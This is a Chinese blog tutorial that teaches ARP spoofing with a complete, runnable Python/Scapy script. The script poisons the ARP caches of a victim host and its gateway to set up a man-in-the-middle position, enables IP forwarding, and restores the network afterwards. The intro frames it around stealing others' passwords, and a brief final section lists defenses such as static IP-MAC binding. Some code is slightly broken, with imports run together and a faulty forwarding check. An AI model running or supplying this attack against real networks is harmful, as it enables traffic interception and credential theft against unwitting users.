<返回更多

用Python演示ARP攻击的过程及应对办法

2020-09-27    
加入收藏

我们经常在电影中看到黑客能够轻松获取到别人的账号密码信息,那么现实中真的这么容易吗?今天我来带大家了解一下黑客是如何获取到别人的账号和密码信息的。

在网路中获取别人的账号密码其实不难,最简单的就是数据监听或钓鱼,那么如何进行网络数据监听呢?arp欺骗可以实现,他能进行DNS欺骗和网络钓鱼的基础,通过arp欺骗我们成为了中间人,对别人电脑的通讯数据截取和伪造修改,下面我们来详细讲解一下arp欺骗。

▊ 什么是ARP欺骗

这是一种技术,攻击者可以通过该技术将欺骗性的ARP数据包(虚假数据包)发送到网络(或特定主机)上,从而使攻击者能够即时拦截,更改或修改网络流量。

用Python演示ARP攻击的过程及应对办法

 

一旦您(作为攻击者)成为中间人,您就可以截取或更改传入或传出受害者设备的所有网络数据报文内容。因此,在本教程中,我们将编写一个Python脚本来做到这一点。

在常规网络中,所有设备均正常地与网关通信,然后再与Internet通信,如下图所示:

用Python演示ARP攻击的过程及应对办法

 

现在,攻击者需要将ARP响应发送到两个主机:

向网关发送ARP响应,说“我有受害者的IP地址”。

向受害者发送ARP响应,说“我有网关的IP地址”。

用Python演示ARP攻击的过程及应对办法

 

一旦攻击者如上图所示执行ARP Spoof攻击,他/她将处于中间人的情况:

用Python演示ARP攻击的过程及应对办法

 

一旦受害者发送了任何数据包(例如HTTP请求),它将首先传递到攻击者的计算机,然后将数据包转发到网关,因此您可能会注意到,受害者对此一无所知,换句话说,他/她将无法弄清楚自己正在受到攻击。

▊ 实战演示

好了,理论说完了!在开始之前,您需要安装所需的库:

pip3 install scapy

如果您使用的是windows,请查看本教程以使Scapy在您的计算机上正常工作。此外,您需要安装pywin32,如下所示:

pip3 install pywin32

编写Python脚本

首先,我们需要导入必要的模块:

from scapy.all import Ether, ARP, srp, send
import argparseimport timeimport osimport sys

首先,我需要提到我们需要启用IP路由(即IP转发)。

在多种平台上启用IP路由的方法有很多,但是,我在这里制作了一个python模块,供您在Windows中启用IP路由。

对于类Unix用户(本教程建议的平台),您所需要做的就是编辑文件“ / proc / sys / net / ipv4 / ip_forward” ,该文件需要root用户访问权,并将值1表示已启用,或者使用以下python代码:

def _enable_linux_iproute():
    """
    Enables IP route ( IP Forward ) in linux-based distro
    """
    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open(file_path) as f:
        if f.read() == 1:
            # already enabled
            return
    with open(file_path, "w") as f:
        print(1, file=f)

对于Windows用户,复制 services.py到当前目录后,代码如下:

def _enable_windows_iproute():
    """
    Enables IP route (IP Forwarding) in Windows
    """
    from services import WService
    # enable Remote Access service
    service = WService("RemoteAccess")
    service.start()

好了,我们把以上代码合起来,这样兼容windows和类Unix系统的所有平台:

def enable_ip_route(verbose=True):
    """
    Enables IP forwarding
    """
    if verbose:
        print("[!] Enabling IP Routing...")
    _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
    if verbose:
        print("[!] IP Routing enabled.")

首先,我们需要一个实用程序功能,使我们能够获取网络中任何计算机的mac地址,代码如下:

def get_mac(ip):
    """
    Returns MAC address of any device connected to the network
    If ip is down, returns None instead
    """
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src

我们使用Scapy的srp()函数以数据包的形式发送请求,并不断监听响应,在这种情况下,我们正在发送ARP请求并监听任何ARP响应。

其次,我们将创建一个功能来完成本教程的核心工作,给定目标IP地址和主机IP地址,它会更改目标IP地址的ARP缓存,说我们拥有主机的IP地址:

def spoof(target_ip, host_ip, verbose=True):
    """
    Spoofs `target_ip` saying that we are `host_ip`.
    it is accomplished by changing the ARP cache of the target (poisoning)
    """
    # get the mac address of the target
    target_mac = get_mac(target_ip)
    # craft the arp 'is-at' operation packet, in other words; an ARP response
    # we don't specify 'hwsrc' (source MAC address)
    # because by default, 'hwsrc' is the real MAC address of the sender (ours)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    # send the packet
    # verbose = 0 means that we send the packet without printing any thing
    send(arp_response, verbose=0)
    if verbose:
        # get the MAC address of the default interface we are using
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

上面的代码获取目标的MAC地址,制作恶意ARP应答(响应)数据包,然后将其发送。

一旦我们想停止攻击,就需要将真实地址重新分配给目标设备(以及网关),如果不这样做,受害者将失去互联网连接,那么受害人就会发现异常了,通常的做法就是我们将依次发送七个合法的ARP回复数据包,代码如下:

def restore(target_ip, host_ip, verbose=True):
    """
    Restores the normal process of a regular network
    This is done by sending the original informations 
    (real IP and MAC of `host_ip` ) to `target_ip`
    """
    # get the real MAC address of target
    target_mac = get_mac(target_ip)
    # get the real MAC address of spoofed (gateway, i.e router)
    host_mac = get_mac(host_ip)
    # crafting the restoring packet
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
    # sending the restoring packet
    # to restore the network to its normal process
    # we send each reply seven times for a good measure (count=7)
    send(arp_response, verbose=0, count=7)
    if verbose:
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

现在我们需要编写主要的代码,欺骗受害主机直到按下CTRL + C,代码如下:

if __name__ == "__main__":
    # victim ip address
    target = "192.168.1.100"
    # gateway ip address
    host = "192.168.1.1"
    # print progress to the screen
    verbose = True
    # enable ip forwarding
    enable_ip_route()
    try:
        while True:
            # telling the `target` that we are the `host`
            spoof(target, host, verbose)
            # telling the `host` that we are the `target`
            spoof(host, target, verbose)
            # sleep for one second
            time.sleep(1)
    except KeyboardInterrupt:
        print("[!] Detected CTRL+C ! restoring the network, please wait...")
        restore(target, host)
        restore(host, target)

我在Linux机器上运行了脚本,这是我的结果的屏幕截图:

用Python演示ARP攻击的过程及应对办法

 

在此示例中,如果您尝试检查ARP缓存,确定将我的个人计算机用作受害者:

用Python演示ARP攻击的过程及应对办法

 

您将看到攻击者的MAC地址(在本例中为“ 192.168.1.105”)与网关的相同,欺骗成功了。

在攻击者的计算机上,当您单击CTRL + C关闭程序时,以下是还原过程的屏幕截图:

用Python演示ARP攻击的过程及应对办法

 

回到受害者机器,您将看到网关的原始MAC地址已还原:

用Python演示ARP攻击的过程及应对办法

 

▊ 如何应对攻击

攻击成功后,攻击者还可以做很多的事情。例如,您可以在html响应中注入JAVAscript代码,对目标进行DNS欺骗,拦截文件并即时对其进行修改,网络嗅探和监视、钓鱼等等。

那么如何组织arp攻击呢?

★、关闭路由器的dhcp功能,添加ip地址与mac地址静态绑定功能。

用Python演示ARP攻击的过程及应对办法

 

★、本地添加网关的ip地址与mac地址静态绑定。

用Python演示ARP攻击的过程及应对办法

 

这就是arp欺骗的python用法及应对办法,本文旨在解密攻击原理与过程及应对办法,请勿用作其他非法用途。

关注我,每天更新一篇技术好文,下一节我将揭秘一下python中的dns欺骗的过程。

声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>